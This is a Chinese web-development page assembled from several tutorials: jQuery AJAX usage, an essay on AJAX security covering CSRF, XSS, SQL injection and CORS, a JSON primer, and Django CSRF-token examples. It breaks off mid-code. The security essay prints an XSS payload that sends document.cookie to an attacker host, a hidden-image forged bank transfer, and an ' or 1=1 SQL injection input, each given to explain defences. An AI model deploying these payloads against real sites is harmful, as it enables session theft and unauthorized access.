整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          jQuery的ajax請求

          jQuery的ajax請求

          Query的ajax請求

          $.ajax()

          因為是發送 ajax 請求,不是操作DOM
          不需要依賴選擇器去獲取到元素
          他的使用是直接依賴 jQuuery 或者 $ 變量來使用
          語法:$.ajax( { 本次發送ajax的配置項 } )

          配置項

          1. url: 必填,表示請求地址
          2. method:選填,默認是GET,表示請求方式
          3. data:選填,默認是 ’ ’ ,表示攜帶給后端的參數
          4. async:選填,默認是 true ,表示是否異步
          5. success:選填,表示請求成功的回調函數
          6. error:選填,表示請求失敗的回調函數
          <!DOCTYPE html>
          <html lang="en">
          <head>
            <meta charset="UTF-8">
            <meta http-equiv="X-UA-Compatible" content="IE=edge">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Document</title>
          </head>
          <body>
            <script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.js"></script>
            <script>
              $.ajax({
                url:'haha.php',
                success:function(res){
                  //res 接受的就是后端給回的相應結果
                  console.log(res)
                },
                error:function(){
                  console.log('請求失敗')
                }
              })
            </script>
          </body>
          </html>
          

          以上就是jQuery的ajax請求了

          者:撒網要見魚

          來源: cnblogs.com/dailc/p/8191150.html

          開篇三問

          1. AJAX請求真的不安全么?
          2. AJAX請求哪里不安全?
          3. 怎么樣讓AJAX請求更安全?


          前言

          本文包含的內容較多,包括AJAX,CORS,XSS,CSRF等內容,要完整的看完并理解需要付出一定的時間。


          另外,見解有限,如有描述不當之處,請幫忙及時指出。


          正文開始...

          從入坑前端開始,一直到現在,AJAX請求都是以極高的頻率重復出現,也解決過不少AJAX中遇到的問題,如跨域調試,錯誤調試等等。


          從這種,發現了一個共通現象:那就是每次和后臺人員對接時,他們都會提到AJAX請求不安全,請用普通http請求!


          雖然很多時候,都是經過多翻口舌之爭后,最終后臺那邊妥協,允許部分符合條件的AJAX請求。但是,我卻很糾結一個問題:AJAX請求真的不安全么?為什么我自己寫后臺時并沒有發現這個問題?


          于是,開始準備搜集資料,結合自己已有的認知,整理成一份解決方案,分析AJAX請求真的不安全么?哪里不安全?,后續遇到類似的問題就直接向對方拋出一篇文章


          大綱

          • AJAX請求真的不安全么
            • AJAX不安全的說法從何而來
          • 常見的幾種Web前端安全問題
            • CSRF簡介
            • CSRF與AJAX的關系
            • XSS簡介
            • XSS與AJAX的關系
            • SQL注入簡介
            • SQL注入與AJAX的關系
          • AJAX和HTTP請求的區別
          • CORS與AJAX安全性之間的關聯
            • CORS與AJAX關系的簡介
            • 為什么要配置CORS?
            • CORS會配置些什么信息?
            • CORS Origin: *的安全性
          • 再看,AJAX請求真的不安全么?
          • AJAX請求哪里不安全?
          • 怎么樣讓AJAX請求更安全?


          AJAX請求真的不安全么

          首先,先說一個定論:AJAX請求是否安全,由服務端(后臺)決定


          有這樣一個說法:如果某個Web應用具備良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果應用本身存在漏洞,不管用何種技術請求,它都是不安全的

          為何會有這種說法?因為在Web應用中,客戶端輸入不可信是一個基本原則


          AJAX不安全的說法從何而來?

          在AJAX出現時,那時的服務端還是很古老的那一批,因此完全沒有考慮到AJAX出現后,前端請求方式會變得異常復雜,造成以前的安全策略已經無法滿足要求了,導致大批的后臺安全漏洞曝光。。。


          很顯然,都是因為AJAX出現后曝光了更多的安全漏洞,導致它看起來很危險(因為AJAX出現后,請求方式變多了,以前的架構在新的請求中就可能出現更多漏洞)


          So,AJAX不安全的說法自然擴散到了各個角落。


          常見的幾種Web前端安全問題

          要知道AJAX請求是否安全,那么就得先知道Web前端中到底有那幾種安全問題

          采用cookie來進行用戶校驗登錄受信任網站A,并在本地生成Cookie在不登出A的情況下,訪問危險網站B
          
          

          如上,Web前端中的安全問題主要就是這幾大類(僅列舉部分做分析),所以我們首先要分析AJAX與這幾大類之間的關系。( XSS CSRF,在下文也會做簡單介紹。)


          CSRF簡介

          CSRF,特征很簡單:冒用用戶身份,進行惡意操作



          時至今日,這項安全漏洞已經被人們剖析的很透徹了,隨便Google,百度之,都會找到很多的解釋。這里也用一張圖來先做簡單描述:


          (注,下面介紹參考了來源文章中的描述,譬如圖就是參考了來源中的博文后重繪的)

          所以,我們看到關鍵條件是:

          采用cookie來進行用戶校驗登錄受信任網站A,并在本地生成Cookie在不登出A的情況下,訪問危險網站B
          
          

          一般在 (4) 處 惡意網站(B) 的攻擊手段如下(必須是指向 A 的地址,否則無法帶上cookie):


          而且,從頭到尾,攻擊網站都沒有獲取到過 cookie,都是通過瀏覽器間接實現(利用Web的cookie隱式身份驗證機制),所以HttpOnly并不會影響這個攻擊

          最后說下,幾種常見的CSRF防御手段:

          1. 驗證HTTP Referer字段(非常簡單,但是鑒于客戶端并不可信任,所以并不是很安全)

          防止CSRF,檢查Referer字段簡單直接,但是其完全依賴瀏覽器發送正確的Referer字段。

          雖然http協議對此字段的內容有明確的規定,但并無法保證來訪的瀏覽器的具體實現,

          亦無法保證瀏覽器沒有安全漏洞影響到此字段。并且也存在攻擊者攻擊某些瀏覽器,篡改其Referer字段的可能。


          2. 在請求地址中添加token并驗證

          (譬如post中,以參數的形式加入一個隨機產生的token)


          CSRF與AJAX的關系

          上文中,我們看到CSRF的前提是cookie驗證用戶身份,那么它與AJAX的關系大么?

          我們先分析AJAX中帶cookie驗證的情況:

          1. AJAX受到瀏覽器的同源策略限制

          2. AJAX默認無法請求跨域的接口

          (當然后臺可以配置`Access-Control-Allow-Origin: *`之類的允許所有的跨域請求)

          3. AJAX請求無法攜帶跨域cookie

          (如果強行開啟withCredentials,必須服務端配合認證,無法用作攻擊)


          嗯哼...看到這,基本就可以認為CSRF與AJAX請求無緣了。。。


          譬如假設上圖中第4部分的請求由AJAX發起,假設網站A已經允許了Access-Control-Allow-Origin: *,由于網站B與網站A是不同域名,所以存在跨域,根據同源策略,請求時根本就無法攜帶cookie,故而無法通過身份認證,攻擊失敗。。。


          就算強行開啟withCredentials,攜帶跨域cookie,但是由于服務端并不會單獨配置網站B的跨域cookie(需配置Access-Control-Allow-Credentials: true,而且這時候不允許設置Allow-Origin: *),所以肯定認證失敗


          可以看到,就算Access-Control-Allow-Origin: *允許所有來源的AJAX請求,跨域的cookie默認情況下仍然是無法攜帶的,無法CSRF


          所以說,結論是:CSRF 與 AJAX 無關


          XSS簡介

          既然CSRF與AJAX關系不大,那么XSS應該會與AJAX有很大關系吧?(要不然為什么一直說AJAX請求不安全,對吧。)。那么請繼續看下去(本文中只限JS范疇)


          XSS(cross-site scripting),看起來簡寫應該是css更合適。。。但是為了和層疊式樣式表區分,就用XSS簡寫表示


          XSS的特征也可以概括為:跨域腳本注入,攻擊者通過某種方式將惡意代碼注入到網頁上,然后其他用戶觀看到被注入的頁面內容后會受到特定攻擊


          相比CSRF,XSS囊括的內容更多,而且往往是多種攻擊形式組合而成,這里以前文中介紹的幾種為例:

          1. cookie劫持

          同樣,頁面中有一個評論輸入,輸入后會,因為后臺的漏洞,沒有過濾特殊字符,會直接明文保存到數據庫中,然后展示到網頁時直接展示明文數據,那么如下

          <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
          <form action="saveComment.jsp" method="post"> 
           請輸入評論內容:<BR> 
           <input name="content" type="text"> 
           <input type="submit" value="確認">
          </form> 
          

          然后攻擊者分析后,輸入

          <script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>
          

          保存文章。很簡單的代碼,由于沒有過濾腳本,那么其它用戶登陸后,在看到這篇文章時就會自動將他們的cookie信息都發送到了攻擊者的服務器。

          攻擊者可以在cookie(譬如jsessionid對應的session)有效期內拿它們冒充用戶操作。


          需要注意,這里和CSRF的區別是,這里是拿到了cookie后主動冒充用戶的,而CSRF中根本就不知cookie,僅利用瀏覽器的隱式校驗方式冒充用戶。


          2. 會話偽造

          同樣是評論漏洞的示例。

          攻擊者輸入(舉例比喻)

          <img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
          

          然后,接下來發生的故事就和CSRF中提到的一致。這種情況就是基于XSS而開展的CSRF,也有人喜歡稱之為XSRF


          需要注意,這里并沒有自己拿到cookie,而是CSRF中提到的利用瀏覽器的隱式驗證機制來冒充用戶。


          3. 其它惡意代碼執行

          其實上面的cookie劫持以及會話偽造都算是惡意代碼執行,為了區別,這里就專指前端的流氓JS。


          譬如前面的評論中的輸入可以是:

          • 譬如市面上盛行的網頁游戲彈窗等。
          • 譬如干脆直接讓這個頁面卡死都可以。
          • 譬如無限循環。


          這里再提一點,上述都是從前端輸入作為入口的,但實際上有一類的輸入也不可忽視,那就是:富文本攻擊


          它的特點就是: 富文本中注入了腳本,并且前后端未進行過濾,導致直接輸出到了頁面中


          因為存在很多頁面,都是將富文本內容展示到網頁上的,沒有進行過濾(哪怕時至今日,仍然有不少頁面),這樣只要富文本中有注入腳本,基本就中招了。。。


          結論:

          只要最終能向頁面輸出可執行的腳本語句,那么就是有漏洞,XSS攻擊都有可能發生。


          而且,基本上xss漏洞是很廣泛的,雖然攻擊類型很被動,也需要大量時間分析,但勝在大量的網站上都存在(特別是那種長期不更新的)


          再提一點。上述的介紹更多的是從造成的后果來看,但其實如果從攻擊手動來看的話可以分為幾大類型:反射型XSS攻擊(直接通過URL注入,而且很多瀏覽器都自帶防御),存儲型XSS攻擊(存儲到DB后讀取時注入),還有一個DOM-Based型


          上述示例中都是存儲型,具體更多內容網上已經有很詳細的資料,這里不再繼續深入,放一張圖鞏固下。

          如何預防XSS:

          • 輸入過濾,不信任用戶的任何輸入,過濾其中的“<”、“>”、“/”等可能導致腳本注入的特殊字符,或者過濾“script”、“javascript”等腳本關鍵字,或者對輸入數據的長度進行限制等等,還得考慮攻擊者使用十六進制編碼來輸入腳本的方式。
          • 輸出進行編碼,和輸入過濾類似,不過是從輸出上著手,數據輸出到頁面時,經過HtmlEncoder等工具編碼,這樣就不會存在直接輸出可執行的腳本了
          • cookie設置http-only,這樣用腳本就無法獲取cookie了(這樣只有瀏覽器向Web服務器發起請求的時才會帶上cookie字段,避免了XSS攻擊利用JavaScript的document.cookie獲取cookie)
          • Cookie防盜,盡可能地避免在Cookie中泄露隱私,如用戶名、密碼等;
            或者,為了防止重放攻擊,可以將Cookie和IP進行綁定,這樣也可以阻止攻擊者冒充正常用戶的身份。
          • 注意,特別是后臺,一定不能信任前端的輸入,需要過濾與校驗


          XSS與AJAX的關系

          以上分析了XSS造成一些影響與問題,仍然發現:與AJAX關系不大,因為這些問題不管用不用AJAX都會發生。


          看看這種情況,譬如上述的富文本注入中:

          1. 某個接口采用AJAX交互

          2. AJAX請求完后將對應富文本字段顯示到了頁面上-譬如innerHTML


          但是,這真的與AJAX無關,這是前后端沒有進行輸入輸出過濾而造成的后果。


          所以,還是那句話:如果某個Web應用具備良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果應用本身存在漏洞,不管用何種技術請求,它都是不安全的


          SQL注入簡介

          sql注入展開將也是一門很大的學問,很早以前更是大行其道(當然,現在...),這里僅僅舉幾個最極端的示例。


          前提是后臺沒有過濾前端的輸入數據,否則根本無法生效


          假設頁面A中有一個登陸查詢存在拙劣的sql注入漏洞,這樣子的:(最極端,最傻的情況)

          <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
          <form action="login.jsp" method="post"> 
           請輸入用戶名與密碼:<BR> 
           <input name="name" type="text"> 
           <input name="password" type="text"> 
           <input type="submit" value="登陸">
          </form> 
          

          在接收到登陸請求后,服務端的實際執行代碼時是:

          String sql="SELECT * FROM users WHERE name='" + name + "' AND password='" + password + "'";
          

          然而有攻擊者分析出后臺可能存在漏洞,嘗試sql注入攻擊,輸入

          name=' or 1=1
          password=anything
          那么這樣,后臺接收到數據后,實際上查詢的結果是SELECT * FROM users WHERE name=' ' or 1=1 AND password='anything' 
          故而,攻擊者成功的繞過的用戶名,利用后臺漏洞登陸了。
          

          當然了,像這類這么低級的漏洞,現象幾乎已經不存在了,往往這類型漏洞需要仔細分析,耗時。(又或者是有內奸。。。)


          SQL注入與AJAX的關系

          額,從上述的示例中看不出和AJAX有什么關系。但是我們可以這樣假設:

          1. 有一個接口,接收AJAX post的數據

          2. 數據中有一個字段 'name',后臺接收到后沒有進行過濾,直接如上面的演示一樣,執行sql語句了

          3. 所以AJAX中如果給那個字段傳入非法的注入信息,就會觸發這個漏洞,導致攻擊生效


          對,就是這樣極端的情況下才會發生,而且與AJAX并沒有關系,因為換成任何一種其它請求都會有類似的情況。。。


          所以說,結論是:SQL注入與AJAX無關


          AJAX和HTTP請求的區別

          從本質上將:AJAX就是瀏覽器發出的HTTP請求,只不過是瀏覽器加上了一個同源策略限制而已。


          AJAX請求的XMLHTTPRequest對象就是瀏覽器開放給JS調用HTTP請求用的。


          那么AJAX和HTTP的區別呢?列出以下幾點:

          • AJAX請求受到瀏覽器的同源策略限制,存在跨域問題
          • AJAX在進行復雜請求時,瀏覽器會預先發出OPTIONS預檢(HTTP自己是不會預檢的)
          • 從使用角度上說,AJAX使用簡單一點,少了些底層細節,多了些瀏覽器特性(如自動帶上同域cookie等)
          • 所以說,和認證上的HTTP請求的區別就是-多了一次瀏覽器的封裝而已(瀏覽器會有自己的預處理,加上特定限制)


          但是,從最終發出的報文來看,內容都是一樣的(HTTP協議規范的內容),AJAX是發送HTTP請求的一種方式


          所以從這一點可以得出一個結論:AJAX本質上安全性和HTTP請求一樣

          CORS與AJAX安全性之間的關聯

          按照前文中提到的內容,基本無法得出AJAX與請求不安全的關聯。那么接下來,再繼續分析,如果使用了跨域資源共享(CORS)后的安全性。

          (因為往往ajax都會伴隨著CORS)


          CORS與AJAX關系的簡介

          這是一個跨域共享方案,大致流程就是:(僅以復雜請求的預檢舉例-這一部分要求提前掌握CORS相關知識)

          1. 前端AJAX請求前發出一個OPTIONS預檢,會帶一堆相關頭部發送給服務端

          2. 服務端在接受到預檢時,檢查頭部,來源等信息是否合法,合法則接下來允許正常的請求,否則直接無情的拒絕掉

          3. 瀏覽器端如果收到服務端拒絕的信息(響應頭部檢查),就拋出對應錯誤。否則就是正常的響應,接下來發出真正的請求(如POST)


          請求和響應的頭部信息大概如下:

          Request Headers

          // 在CORS中專門作為Origin信息供后端比對,表示來源域。
          Origin: http://xxx
          Access-Control-Request-Headers: X-Requested-With
          // 所有用setRequestHeader方法設置的頭部都將會以逗號隔開的形式包含在這個頭中,一般POST請求中就會帶上
          Access-Control-Request-Method: OPTIONS
          

          Response Headers

          Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
          Access-Control-Allow-Methods: GET, POST, OPTIONS
          Access-Control-Allow-Origin: http://xxx
          

          最終,客戶端發出的請求,必須符合服務端的校驗規則才能正確,服務端才會返回正確頭部,否則只會請求失敗。報跨域錯誤。


          以上僅是簡介,更多信息可以參考來源中的ajax跨域,這應該是最全的解決方案了


          為什么要配置CORS?

          因為同源策略限制,AJAX無法請求跨域資源,CORS可以解決AJAX跨域請求問題。


          因此:在本文中,配置CORS只是為了AJAX能跨域請求


          CORS會配置些什么信息?

          Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
          Access-Control-Allow-Methods: GET, POST, OPTIONS
          Access-Control-Allow-Origin: http://xxx
          

          如上,加上這個配置后,必須符合要求的才算是正常的請求,否則就會拒絕掉,一般AJAX跨域的話都會有OPTIONS,所以在預檢中就做了這一步。


          可以看到,關鍵的可變信息是:Access-Control-Allow-Origin: http://xxx

          這個配置就是域名白名單,規定在什么樣的域名下才能進行AJAX跨域請求。


          CORS Origin: *的安全性

          關鍵問題來了,在上面的CORS配置是這樣的:

          Access-Control-Allow-Origin: http://xxx
          

          但是這個配置只允許特定域名訪問,鑒于前端的復雜性,有時候調試起來不是很方便,因此有時候,會偷懶的設置為:

          Access-Control-Allow-Origin: *
          

          這個代表所有來源的跨域AJAX請求都能正常響應。

          接下來我們再來分析設置 Origin: * 可能帶來哪些問題。(都是基于AJAX的情況)


          問題1:會對cookie認證造成影響么?

          不會。雖然 * 代表了所有來源都能正常請求,但是同源策略下,是無法帶上跨域cookie的。因此根本無法用身份驗證。


          而且,就算用 withCredentials 強行帶上跨域cookie,因為后臺沒有支持,所以會報錯。(這可以看成是CORSs模型的最后一道防線)


          再者,后臺就算配置 Access-Control-Allow-Credentials 允許跨域cookie,但是這時候的安全策略是 Origin 不允許為,必須是一個明確的地址。

          (否則你就可以看到瀏覽器的報錯信息-跨域cookie時,Origin不允許為)


          問題2:如果偽造Origin頭部呢?

          首先,標準的瀏覽器中是不允許你偽造的(除非有嚴重漏洞),所以一般需要通過模擬客戶端請求偽造。


          但是。在非瀏覽器情況下,本來就沒有同源策略。這又是何必。。。


          所以說,偽造Origin與CORS并沒有關系。


          問題3:如果后臺本來就存在漏洞呢?

          做這樣一個假設,假設用戶所在網絡的內網中有一臺內網服務器,并且配置了允許所有的跨域請求:(當然,外網是請求不到內網的)

          // 允許任何來自任意域的跨域請求
          Access-Control-Allow-Origin: *
          

          再假設內網服務器上恰巧存在敏感資源,并且沒有額外設防,只要內網就能訪問。譬如:

          192.168.111.23/users.md
          


          然后用戶訪問了惡意網頁,而像HTML之類的網頁都是下載到本地執行的,

          正好網頁內有惡意代碼,去向 192.168.111.23/users.md 請求資源,再將接收到的服務端返回發送到攻擊者服務器。

          (因為加了Origin為*,而且AJAX是由本地瀏覽器發出的,所以用戶下載到本地的惡意網站是可以訪問到用戶內網中的后臺的)


          然后這些敏感數據就這樣被盜取了。


          But,這是因為服務端漏洞而存在的問題,設置Origin為的后臺上為何要放置敏感資源?正常設置為Origin為的最大作用是用作公共API。


          而且更重要的是,為何敏感資源就這樣輕易的被獲取了?為什么沒有二次驗證?


          SO,后臺本身有漏洞,所以才導致被攻擊,AJAX恰好是攻擊的手段之一(除了AJAX外還會有其它的方式),所以很多鍋都甩到了AJAX頭上。


          這樣,可以得出一個保守點的結論:

          Origin如果不是*,AJAX請求并不會有安全問題,如果是*,可能會由于后臺的漏洞,不經意間,AJAX就被作為一種攻擊手段了,導致了出現AJAX不安全的說法


          再看,AJAX請求真的不安全么?

          仍然是最初的結論:

          如果某個Web應用具備良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果應用本身存在漏洞,不管用何種技術請求,它都是不安全的



          我們可以看到,XSS也好,CSRF也好,以及其它隱藏的可能漏洞也好,本質上都是后臺已有漏洞造成的問題,AJAX最多是被用作一種攻擊手段(甚至某些里面AJAX還無法使用)


          提到AJAX請求不安全的,譬如有CORS里面配置Origin: *造成某些極端情況下能通過AJAX發出攻擊。但事實上這也是其中的一種攻擊手段而已,沒有AJAX,該不安全的仍然不安全。


          譬如還有的說法是:因為在AJAX出現以前,如果出現安全漏洞,容易被察覺,但AJAX是異步的,更容易隱式的出現安全問題。。。這也與安全性的本質無關。


          最重要一點,從Web應用安全角度來談,Web應用必須從不信任客戶端。所以不要再把鍋甩給AJAX。


          AJAX請求哪里不安全?

          同上,AJAX本身并不存在這種安全問題。

          不過有一點需注意,如果使用了CORS方案。

          1. Allow-Origin可以設置特定的值,過濾特定的白名單

          2. 對于一些公共的API,可以直接將Allow-Origin設置為`*`

          3. 當然,如果確認后臺沒有這些隱藏漏洞,可以直接使用`*`,畢竟也只是針對瀏覽器的同源策略而已,影響沒有那么大。


          怎么樣讓AJAX請求更安全?

          仍然是文中反復提到的結論:

          讓Web后臺更安全,則AJAX請求也更安全,反之后臺有漏洞,不管怎么樣都是不安全的



          寫在最后的話

          這樣的話,應該可以把AJAX不安全的鍋甩掉了吧?

          JAX準備知識:JSON

          什么是 JSON ?

        1. JSON 指的是 JavaScript 對象表示法(JavaScript Object Notation)
        2. JSON 是輕量級的文本數據交換格式
        3. JSON 獨立于語言 *
        4. JSON 具有自我描述性,更易理解
        5. * JSON 使用 JavaScript 語法來描述數據對象,但是 JSON 仍然獨立于語言和平臺。JSON 解析器和 JSON 庫支持許多不同的編程語言。


          合格的json對象:

          ["one", "two", "three"]
          { "one": 1, "two": 2, "three": 3 }
          {"names": ["張三", "李四"] }
          [ { "name": "張三"}, {"name": "李四"} ] 

          不合格的json對象:

          { name: "張三", 'age': 32 }  // 屬性名必須使用雙引號
          [32, 64, 128, 0xFFF] // 不能使用十六進制值
          { "name": "張三", "age": undefined }  // 不能使用undefined
          { "name": "張三",
            "birthday": new Date('Fri, 26 Aug 2011 07:13:10 GMT'),
            "getName":  function() {return this.name;}  // 不能使用函數和日期對象
          }

          stringify與parse方法

          JavaScript中關于JSON對象和字符串轉換的兩個方法:

          JSON.parse(): 用于將一個 JSON 字符串轉換為 JavaScript 對象 

          JSON.parse('{"name":"run1"}');
          JSON.parse('{name:"run1"}') ;   // 錯誤
          JSON.parse('[18,undefined]') ;   // 錯誤

          JSON.stringify(): 用于將 JavaScript 值轉換為 JSON 字符串。 

          JSON.stringify({"name":"run1"})

          和XML的比較

          JSON 格式于2001年由 Douglas Crockford 提出,目的就是取代繁瑣笨重的 XML 格式。

          JSON 格式有兩個顯著的優點:書寫簡單,一目了然;符合 JavaScript 原生語法,可以由解釋引擎直接處理,不用另外添加解析代碼。所以,JSON迅速被接受,已經成為各大網站交換數據的標準格式,并被寫入ECMAScript 5,成為標準的一部分。

          XML和JSON都使用結構化方法來標記數據,下面來做一個簡單的比較。

          用XML表示中國部分省市數據如下:

          <?xml version="1.0" encoding="utf-8"?>
          <country>
              <name>中國</name>
              <province>
                  <name>黑龍江</name>
                  <cities>
                      <city>哈爾濱</city>
                      <city>大慶</city>
                  </cities>
              </province>
              <province>
                  <name>廣東</name>
                  <cities>
                      <city>廣州</city>
                      <city>深圳</city>
                      <city>珠海</city>
                  </cities>
              </province>
              <province>
                  <name>臺灣</name>
                  <cities>
                      <city>臺北</city>
                      <city>高雄</city>
                  </cities>
              </province>
              <province>
                  <name>新疆</name>
                  <cities>
                      <city>烏魯木齊</city>
                  </cities>
              </province>
          </country>

          用JSON表示如下

          {
              "name": "中國",
              "province": [{
                  "name": "黑龍江",
                  "cities": {
                      "city": ["哈爾濱", "大慶"]
                  }
              }, {
                  "name": "廣東",
                  "cities": {
                      "city": ["廣州", "深圳", "珠海"]
                  }
              }, {
                  "name": "臺灣",
                  "cities": {
                      "city": ["臺北", "高雄"]
                  }
              }, {
                  "name": "新疆",
                  "cities": {
                      "city": ["烏魯木齊"]
                  }
              }]
          }

          由上面的兩段代碼可以看出,JSON 簡單的語法格式和清晰的層次結構明顯要比 XML 容易閱讀,并且在數據交換方面,由于 JSON 所使用的字符要比 XML 少得多,可以大大得節約傳輸數據所占用的帶寬。

          AJAX簡介

          AJAX(Asynchronous Javascript And XML)翻譯成中文就是“異步Javascript和XML”。即使用Javascript語言與服務器進行異步交互,傳輸的數據為XML(當然,傳輸的數據不只是XML)。

          • 同步交互:客戶端發出一個請求后,需要等待服務器響應結束后,才能發出第二個請求;
          • 異步交互:客戶端發出一個請求后,無需等待服務器響應結束,就可以發出第二個請求。

          AJAX除了異步的特點外,還有一個就是:瀏覽器頁面局部刷新;(這一特點給用戶的感受是在不知不覺中完成請求和響應過程)

          示例:

          頁面輸入兩個整數,通過AJAX傳輸到后端計算出結果并返回。

          HTML部分代碼

          <!DOCTYPE html>
          <html lang="en">
          <head>
            <meta charset="UTF-8">
            <meta http-equiv="x-ua-compatible" content="IE=edge">
            <meta name="viewport" content="width=device-width, initial-scale=1">
            <title>AJAX局部刷新實例</title>
          </head>
          <body>
          
          <input type="text" id="i1">+
          <input type="text" id="i2">=<input type="text" id="i3">
          <input type="button" value="AJAX提交" id="b1">
          
          <script src="/static/jquery-3.2.1.min.js"></script>
          <script>
            $("#b1").on("click", function () {
              $.ajax({
                url:"/ajax_add/",
                type:"GET",
                data:{"i1":$("#i1").val(),"i2":$("#i2").val()},
                success:function (data) {
                  $("#i3").val(data);
                }
              })
            })
          </script>
          </body>
          </html>

          views.py

          def ajax_demo1(request):
              return render(request, "ajax_demo1.html")
          
          
          def ajax_add(request):
              i1=int(request.GET.get("i1"))
              i2=int(request.GET.get("i2"))
              ret=i1 + i2
              return JsonResponse(ret, safe=False)

          urls.py

          urlpatterns=[
              ...
              url(r'^ajax_add/', views.ajax_add),
              url(r'^ajax_demo1/', views.ajax_demo1),
              ...   
          ]

          AJAX語法

          $.ajax({
              url:"",  // 控制往哪里提交
              type:"POST",  // 請求的方法
              data:{},  // 請求的參數
              success:function(arg){
                  // 收到響應之后要做的事
              }
          })

          AJAX常見應用情景

          搜索引擎根據用戶輸入的關鍵字,自動提示檢索關鍵字。

          還有一個很重要的應用場景就是注冊時候的用戶名的查重。

          其實這里就使用了AJAX技術!當文件框發生了輸入變化時,使用AJAX技術向服務器發送一個請求,然后服務器會把查詢到的結果響應給瀏覽器,最后再把后端返回的結果展示出來。

          • 整個過程中頁面沒有刷新,只是刷新頁面中的局部位置而已!
          • 當請求發出后,瀏覽器還可以進行其他操作,無需等待服務器的響應!


          當輸入用戶名后,把光標移動到其他表單項上時,瀏覽器會使用AJAX技術向服務器發出請求,服務器會查詢名為lemontree7777777的用戶是否存在,最終服務器返回true表示名為lemontree7777777的用戶已經存在了,瀏覽器在得到結果后顯示“用戶名已被注冊!”。

          • 整個過程中頁面沒有刷新,只是局部刷新了;
          • 在請求發出后,瀏覽器不用等待服務器響應結果就可以進行其他操作;

          AJAX的優缺點

          優點

          • AJAX使用JavaScript技術向服務器發送異步請求;
          • AJAX請求無須刷新整個頁面;
          • 因為服務器響應內容不再是整個頁面,而是頁面中的部分內容,所以AJAX性能高;

          jQuery實現的AJAX

          最基本的jQuery發送AJAX請求示例

          <!DOCTYPE html>
          <html lang="zh-CN">
          <head>
            <meta charset="UTF-8">
            <meta http-equiv="x-ua-compatible" content="IE=edge">
            <meta name="viewport" content="width=device-width, initial-scale=1">
            <title>ajax test</title>
            <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
          </head>
          <body>
          <button id="ajaxTest">AJAX 測試</button>
          <script>
            $("#ajaxTest").click(function () {
              $.ajax({
                url: "/ajax_test/",
                type: "POST",
                data: {username: "Q1mi", password: 123456},
                success: function (data) {
                  alert(data)
                }
              })
            })
          </script>
          </body>
          </html>

          views.py

          def ajax_test(request):
              user_name=request.POST.get("username")
              password=request.POST.get("password")
              print(user_name, password)
              return HttpResponse("OK")

          $.ajax參數

          data參數中的鍵值對,如果值值不為字符串,需要將其轉換成字符串類型。

          $("#b1").on("click", function () {
              $.ajax({
                url:"/ajax_add/",
                type:"GET",
                data:{"i1":$("#i1").val(),"i2":$("#i2").val(),"hehe": JSON.stringify([1, 2, 3])},
                success:function (data) {
                  $("#i3").val(data);
                }
              })
            })

          AJAX請求如何設置csrf_token

          方式1

          通過獲取隱藏的input標簽中的csrfmiddlewaretoken值,放置在data中發送。

          $.ajax({
            url: "/cookie_ajax/",
            type: "POST",
            data: {
              "username": "rum2",
              "password": 123456,
              "csrfmiddlewaretoken": $("[name='csrfmiddlewaretoken']").val()  // 使用JQuery取出csrfmiddlewaretoken的值,拼接到data中
            },
            success: function (data) {
              console.log(data);
            }
          })

          方式2

          通過獲取返回的cookie中的字符串 放置在請求頭中發送。

          注意:需要引入一個jquery.cookie.js插件。

          $.ajax({
            url: "/cookie_ajax/",
            type: "POST",
            headers: {"X-CSRFToken": $.cookie('csrftoken')},  // 從Cookie取csrf_token,并設置ajax請求頭
            data: {"username": "rum", "password": 123456},
            success: function (data) {
              console.log(data);
            }
          })

          或者用自己寫一個getCookie方法:

          function getCookie(name) {
              var cookieValue=null;
              if (document.cookie && document.cookie !=='') {
                  var cookies=document.cookie.split(';');
                  for (var i=0; i < cookies.length; i++) {
                      var cookie=jQuery.trim(cookies[i]);
                      // Does this cookie string begin with the name we want?
                      if (cookie.substring(0, name.length + 1)===(name + '=')) {
                          cookieValue=decodeURIComponent(cookie.substring(name.length + 1));
                          break;
                      }
                  }
              }
              return cookieValue;
          }
          var csrftoken=getCookie('csrftoken');

          每一次都這么寫太麻煩了,可以使用$.ajaxSetup()方法為ajax請求統一設置。

          function csrfSafeMethod(method) {
            // these HTTP methods do not require CSRF protection
            return (/^(GET|HEAD|OPTIONS|TRACE)$/.test(method));
          }
          
          $.ajaxSetup({
            beforeSend: function (xhr, settings) {
              if (!csrfSafeMethod(settings.type) && !this.crossDomain) {
                xhr.setRequestHeader("X-CSRFToken", csrftoken);
              }
            }
          });

          序列化

          Django內置的serializers

          def books_json(request):
              book_list=models.Book.objects.all()[0:10]
              from django.core import serializers
              ret=serializers.serialize("json", book_list)
              return HttpResponse(ret)

          我們的數據中經常有日期時間,也就是datetime對象,而json.dumps是無法處理這樣在類型的,那就需要通過自定義處理器來做擴展,如下:

          class JsonCustomEncoder(json.JSONEncoder):
              """
              自定義一個支持序列化時間格式的類
              """
          
              def default(self, o):
                  if isinstance(o, datetime):
                      return o.strftime("%Y-%m-%d %H:%M:%S")
                  elif isinstance(o, date):
                      return o.strftime("%Y-%m-%d")
                  else:
                      return json.JSONEncoder.default(self, o)
          
          
          def books_json(request):
              book_list=models.Book.objects.all().values_list("title", "publish_date")
              ret=json.dumps(list(book_list), cls=JsonCustomEncoder)
              return HttpResponse(ret)

          Bootstrap-sweetalert

          https://github.com/lipis/bootstrap-sweetalert
          $(".btn-danger").on("click", function () {
            swal({
              title: "你確定要刪除嗎?",
              text: "刪除可就找不回來了哦!",
              type: "warning",
              showCancelButton: true,
              confirmButtonClass: "btn-danger",
              confirmButtonText: "刪除",
              cancelButtonText: "取消",
              closeOnConfirm: false
              },
              function () {
                var deleteId=$(this).parent().parent().attr("data_id");
                $.ajax({
                  url: "/delete_book/",
                  type: "post",
                  data: {"id": deleteId},
                  success: function (data) {
                    if (data.status===1) {
